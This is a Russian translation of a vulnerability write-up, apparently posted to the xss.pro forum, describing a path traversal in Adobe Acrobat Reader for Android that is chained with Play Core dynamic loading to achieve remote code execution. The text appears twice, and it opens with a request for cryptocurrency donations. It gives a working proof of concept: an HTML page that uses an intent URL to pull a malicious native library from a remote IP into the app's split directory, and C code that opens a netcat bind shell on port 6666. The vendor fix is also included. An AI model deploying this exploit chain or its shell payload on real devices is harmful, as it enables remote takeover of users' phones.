ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия нод ETHEREUM и тестов
# Резюме
Во время тестирования приложения Adobe Acrobat Reader в нем была обнаружена функция, позволяющая пользователю открывать pdf-файлы непосредственно из http/https url. Эта функция была уязвима к ошибке обхода пути. Abode Reader использовал библиотеку Google play core для динамической загрузки кода. Используя ошибку обхода пути и динамическую загрузку кода, я смог добиться удаленного выполнения кода.
# Поиск уязвимости обхода пути
В приложении есть фильтр intent-filter, который показывает, что он будет принимать http/https url-схему и mimeType должен быть application/pdf для этой активности. Когда intent с url данных, например , отправляется приложению adobe reader, оно загружает файл в папку /sdcard/Downloads/Adobe Acrobot с именем LastPathSegment. Когда intent с url данных, например http://localhost/test.pdf, отправляется в приложение adobe reader, оно загружает файл в папку /sdcard/Downloads/Adobe Acrobat с именем файла как LastPathSegment (т.е. test.pdf) отправленного url. Активность com.adobe.reader.AdobeReader получает intent и запускает активность ARFileURLDownloadActivity.
Эта активность ARFileURLDownloadActivity запускает службу com.adobe.reader.misc.ARFileURLDownloadService.
В com.adobe.reader.misc.ARFileURLDownloadService.java
В com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java
Метод BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData принимает в качестве аргумента this.mUri.getLastPathSegment() и возвращает декодированный последний сегмент в пути url. Например, возьмем этот url https://localhost/x/../../file.pdf, и когда этот url будет передан методу getLastPathSegment(), он примет ..%2F..%2Ffile.pdf в качестве последнего сегмента url и вернет ../../file.pdf в качестве результата. В переменной downloadFile не была проведена проверка перед передачей ее в экземпляр File, что привело к уязвимости обхода пути.
# Получение RCE
Приложение Adobe Acrobat Reader использовало библиотеку ядра Google play для предоставления дополнительных функций своим пользователям. Простой способ узнать, использует ли приложение библиотеку play core для динамической загрузки кода, - проверить наличие каталога spiltcompat в каталоге /data/data/:application_id/files/. Используя ошибку обхода пути, я могу записать произвольный apk в каталог /data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/ приложения. Классы из apk злоумышленника будут автоматически добавлены в ClassLoader приложения, и вредоносный код будет выполнен при вызове из приложения. Для более подробного объяснения читайте эту статью
Приложение Adobe reader также загружает модуль с именем FASOpenCVDF.apk во время работы приложения. Планировалось перезаписать этот файл и выполнить код удаленно, но это не удалось. Проблема заключалась в том, что с этой уязвимостью обхода пути я не мог записывать поверх существующих файлов... только создавать новые файлы. Я надолго застрял на этом этапе в поисках способа удаленного выполнения кода без установки дополнительного apk. Проанализировав другие приложения, использующие библиотеку play core, установленную на моем устройстве, я увидел, что библиотека play core также предоставляет возможность загрузки нативного кода (файлы .so) из каталога /data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/. Модуль FASOpenCVDF.apk также загружал нативную библиотеку из каталога /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a. Я решил заглянуть в исходный код FASOpenCVDF.apk и там обнаружил, что этот модуль также пытается загрузить три недоступные библиотеки libADCComponent.so, libColoradoMobile.so и libopencv_info.so, что решило мою проблему с удаленным выполнением кода. Я создал простую нативную библиотеку poc, переименовал ее в libopencv_info.so и бросил в каталог /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a, и со следующего запуска при любом использовании функции заполнения и подписи будет выполняться вредоносный код.
# Доказательство концепции
# Исправление уязвимости!
В com.adobe.libs.buildingblocks.utils.BBIntentUtils.java
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия нод ETHEREUM и тестов
# Резюме
Во время тестирования приложения Adobe Acrobat Reader в нем была обнаружена функция, позволяющая пользователю открывать pdf-файлы непосредственно из http/https url. Эта функция была уязвима к ошибке обхода пути. Abode Reader использовал библиотеку Google play core для динамической загрузки кода. Используя ошибку обхода пути и динамическую загрузку кода, я смог добиться удаленного выполнения кода.
# Поиск уязвимости обхода пути
Код:
<activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<action android:name="android.intent.action.EDIT"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="content"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
В приложении есть фильтр intent-filter, который показывает, что он будет принимать http/https url-схему и mimeType должен быть application/pdf для этой активности. Когда intent с url данных, например , отправляется приложению adobe reader, оно загружает файл в папку /sdcard/Downloads/Adobe Acrobot с именем LastPathSegment. Когда intent с url данных, например http://localhost/test.pdf, отправляется в приложение adobe reader, оно загружает файл в папку /sdcard/Downloads/Adobe Acrobat с именем файла как LastPathSegment (т.е. test.pdf) отправленного url. Активность com.adobe.reader.AdobeReader получает intent и запускает активность ARFileURLDownloadActivity.
Код:
public void handleIntent() {
Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());
startActivity(intent2);
}
Эта активность ARFileURLDownloadActivity запускает службу com.adobe.reader.misc.ARFileURLDownloadService.
Код:
public void onMAMCreate(Bundle bundle) {
super.onMAMCreate(bundle);
this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
Bundle bundle2 = new Bundle();
//...//
this.mServiceIntent.putExtras(bundle2);
startService();
}
В com.adobe.reader.misc.ARFileURLDownloadService.java
Код:
public int onMAMStartCommand(Intent intent, int i, int i2) {
Bundle extras = intent.getExtras();
//..//
String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
return 2;
}
В com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java
Код:
private void downloadFile() throws IOException, SVFileDownloadException {
Exception exc;
boolean z;
Throwable th;
boolean z2;
Uri fileURI = this.mDownloadModel.getFileURI();
URL url = new URL(fileURI.toString());
try {
String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
ARFileFromURLDownloader.DownloadUrlListener
public void onProgressUpdate(int i, int i2) {
ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);
}
@Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
public boolean shouldCancelDownload() {
return ARURLFileDownloadAsyncTask.this.isCancelled();
}
}).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);
//...//
Метод BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData принимает в качестве аргумента this.mUri.getLastPathSegment() и возвращает декодированный последний сегмент в пути url. Например, возьмем этот url https://localhost/x/../../file.pdf, и когда этот url будет передан методу getLastPathSegment(), он примет ..%2F..%2Ffile.pdf в качестве последнего сегмента url и вернет ../../file.pdf в качестве результата. В переменной downloadFile не была проведена проверка перед передачей ее в экземпляр File, что привело к уязвимости обхода пути.
# Получение RCE
Приложение Adobe Acrobat Reader использовало библиотеку ядра Google play для предоставления дополнительных функций своим пользователям. Простой способ узнать, использует ли приложение библиотеку play core для динамической загрузки кода, - проверить наличие каталога spiltcompat в каталоге /data/data/:application_id/files/. Используя ошибку обхода пути, я могу записать произвольный apk в каталог /data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/ приложения. Классы из apk злоумышленника будут автоматически добавлены в ClassLoader приложения, и вредоносный код будет выполнен при вызове из приложения. Для более подробного объяснения читайте эту статью
Приложение Adobe reader также загружает модуль с именем FASOpenCVDF.apk во время работы приложения. Планировалось перезаписать этот файл и выполнить код удаленно, но это не удалось. Проблема заключалась в том, что с этой уязвимостью обхода пути я не мог записывать поверх существующих файлов... только создавать новые файлы. Я надолго застрял на этом этапе в поисках способа удаленного выполнения кода без установки дополнительного apk. Проанализировав другие приложения, использующие библиотеку play core, установленную на моем устройстве, я увидел, что библиотека play core также предоставляет возможность загрузки нативного кода (файлы .so) из каталога /data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/. Модуль FASOpenCVDF.apk также загружал нативную библиотеку из каталога /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a. Я решил заглянуть в исходный код FASOpenCVDF.apk и там обнаружил, что этот модуль также пытается загрузить три недоступные библиотеки libADCComponent.so, libColoradoMobile.so и libopencv_info.so, что решило мою проблему с удаленным выполнением кода. Я создал простую нативную библиотеку poc, переименовал ее в libopencv_info.so и бросил в каталог /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a, и со следующего запуска при любом использовании функции заполнения и подписи будет выполняться вредоносный код.
# Доказательство концепции
Код:
<html>
<title> RCE in Adobe Acrobat Reader for android </title>
<body>
<script>
window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";
</script>
</body>
</html>
Код:
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) {
system("toybox nc -p 6666 -L /system/bin/sh -l");
}
JNIEnv* env;
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
}
# Исправление уязвимости!
В com.adobe.libs.buildingblocks.utils.BBIntentUtils.java
Код:
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
if (TextUtils.isEmpty(str)) {
str = BBConstants.DOWNLOAD_FILE_NAME;
}
String str3 = null;
if (!(contentResolver == null || uri == null)) {
str3 = MAMContentResolverManagement.getType(contentResolver, uri);
}
String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
if (!TextUtils.isEmpty(str4)) {
String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
if (str.lastIndexOf(46) == -1) {
str = str + '.' + fileExtensionFromMimeType;
} else {
String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
str = str + '.' + fileExtensionFromMimeType;
}
}
}
}
return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");
}
Последнее редактирование: